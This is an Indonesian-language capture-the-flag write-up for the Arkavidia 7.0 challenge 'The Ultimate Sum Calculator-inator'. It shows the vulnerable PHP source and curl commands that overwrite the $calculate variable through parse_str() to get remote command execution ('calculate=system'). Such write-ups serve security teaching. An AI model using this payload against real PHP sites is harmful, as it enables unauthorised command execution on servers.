[Arkavidia 7.0] The Ultimate Sum Calculator-inator
Diberikan soal dan sebuah website dengan deskripsi seperti berikut.
The Ultimate Sum Calculator-inator
Deskripsi
Author: didithilmy
Setelah website dibuka, hanya terdapat dua field input dengan satu button yang berfungsi sebagai penjumlahan 2 bilangan matematika.
Jika kita melihat view-source pada website, terdapat comment ?debug=1 yang dapat ditambahkan pada URL sebagai parameter. Setelah dibuka dengan tambahan parameter ?debug=1, maka akan terlihat source code PHP dari website tersebut.
Source Code
<?php
error_reporting(0);
if ($_GET['debug']) {
highlight_file(__FILE__);
return;
}
$calculate = function($a, $b) {
return $a + $b;
};
$param = parse_str(file_get_contents("php://input"));
if ($param['a']) {
$a = $param['a'];
}
if ($param['b']) {
$b = $param['b'];
}
if ($a && $b) {
$result = $calculate($a, $b);
}
?>
<html>
<head>
<title>The Ultimate Sum Calculator-inator</title>
</head>
<body>
<h1>The Ultimate Sum Calculator-inator</h1>
<form method="post">
<input name="a" type="text" placeholder="First number" />
<div style="height: 4px"></div>
<input name="b" type="text" placeholder="Second number" />
<br /><br />
<input type="submit" value="Calculate" />
</form>
<?php if ($result) echo "The result is $result"; ?>
</body>
<!-- ?debug=1 -->
</html>
Berikut penjelasan dari Source Code PHP diatas
$calculateadalah sebuah anonymous function yang menerima dua parameter$adan$byang akan dijumlahkan lalu di return sebagai hasil dari pemanggilan function.$calculate = function($a, $b) { return $a + $b; };$parammengambil Raw POST body yang dikirimkan dari user menggunakanfile_get_contents("php://input")Setelah itu di parsing dan diubah menjadi variable menggunakan function parse_str
ilustrasi singkatcurl -d 'a=value1&b=value2' http://web.com // diproses file_get_contents("php://input") = "a=value1&b=value2" parse_str("a=value1&b=value2") // diparse menjadi $a = "value1"; $b = "value2";- Memanggil anonymous function
$calculatedengan parameter$adan$byang hasilnya disimpan pada$resultif ($a && $b) { $result = $calculate($a, $b); } - Terakhir, menampilkan hasil dari
$resultpada website<?php if ($result) echo "The result is $result"; ?>
Nah, sebenarnya kita dapat memanfaatkan function parse_str() tersebut untuk menimpa variable $calculate dengan input kita, sehingga kita dapat menjalankan function apapun yang kita inginkan.
Bagaimana caranya? Tinggal tambahkan satu parameter pada POST body dengan key calculate dan valuenya adalah salah satu function di PHP, sehingga jadi seperti berikut
curl -d 'a=value1&b=value2&calculate=echo' http://web.com
// $calculate masih normal
$calculate = function($a, $b) {
return $a + $b;
};
$param = parse_str(file_get_contents("php://input"));
// di parsing menjadi
$a = "value1"
$b = "value2"
// $calculate tertimpa denga "echo"
$calculate = "echo"
if ($a && $b) {
$result = $calculate($a, $b);
// $result = echo("value1", "value2");
}
Website akan menjalankan function echo dengan menambahkan calculate=echo pada POST body kita.
Lalu kita mencoba menjalankan function system dengan a = command yang ingin kita jalankan dan b = 1, sehingga
curl -d 'a=ls&b=1&calculate=system' http://web.com
$result = $calculate($a, $b);
$result = system("ls", "1");
Sip! Pada response sudah terlihat index.php sebagai hasil dari command ls. Karena kita udah dapet Remote Command Execution (RCE), kita tinggal cari flag dan dapatkan flagnya :D